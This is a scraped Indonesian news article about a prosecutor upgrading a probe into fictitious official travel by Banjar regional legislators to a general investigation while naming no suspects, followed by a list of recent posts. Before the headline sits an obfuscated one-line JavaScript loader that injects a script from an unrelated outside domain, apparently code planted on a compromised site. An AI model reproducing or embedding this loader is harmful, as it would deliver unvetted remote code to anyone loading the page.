(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Janggal, Penyidikan Perjalanan Dinas Fiktif DPRD Banjar Tanpa Nama Tersangka!


MARTAPURA, Setelah cukup lama tertahan di tahap penyelidikan, pengusutan kasus dugaan perjalanan dinas fiktif DPRD Banjar tahun anggaran 2015/2016  akhirnya ditingkatkan menjadi penyidikan oleh Kejaksaan Negeri (Kejari) Kabupaten Banjar.

Slamet Siswanta, Kepala Kejaksaan Negeri (Kajari) Banjar di hadapan sejumlah awak media, Rabu (1/11) menyampaikan, dari hasil gelar perkara internal yang dilaksanakan sehari sebelumnya, Selasa (31/10), status penyelidikan kasus perjalanan dinas fiktif sudah dimulai sejak Februari 2017 ini ditingkatkan ke tahap penyidikan.

Namun menurut Slamet, status penyidikan masih sebatas penyidikan umum.

“Saat gelar perkara internal yang dihadiri semua jaksa, ada beberapa masukan dari sejumlah jaksa yang pada akhirnya mengambil keputusan meningkatkan kasus dugaan tindak pidana korupsi di DPRD Banjar ditingkatkan menjadi penyidikan umum,” ujarnya.

Meski telah ditingkatkan menjadi penyidikan, namun ada janggal dan terasa aneh di tengah peningkatan status penyidikan perkara ini. Pasalnya, peningkatan status penyidikan ternyata tak disertai dengan penetapan nama-nama tersangkanya. (Baca: Pengusutan Kasus Kunker DPRD Banjar Tak Sepenuhnya Terang-Benderang!)

Mengenai hal itu, Slamet Siswanta mengatakan, masih bersifat penyidikan umum dan belum ditetapkan nama-nama tersangka dalam perkara ini. Hal sebagai upaya antisipasi meminimalisir risiko adanya tuntutan pra peradilan yang menurutnya justru akan memperpanjang proses pengusutan.

Masih berstatus penyidikan umum, ujar Slamet, sembari menggali lebih jauh informasi, termasuk pengumpulan alat-alat bukti untuk memperjelas tidak pidana dan nama-nama tersangkanya.

“Dari hasil ekpose kemarin, dimungkinkan tersangkanya lebih dari satu orang. Namun karena ini menyangkut nasib seseorang, tentu kami juga harus berhati-hati,” kata Slamet.

Sebelumnya, Hanya Budi Mukhlis, Kepala Seksi Pidana Khusus (Kasi Pidsus) mengatakan, dari hasil gelar perkara terungkap sejumlah modus operandi yang dilakukan para anggota dewan. Namun saat ditanya lebih dalam tentang modus dan jumlah kerugian, lagi-lagi Budi Mukhlis enggan menjelaskan. (rudiyanto)


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

5 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

7 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

9 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.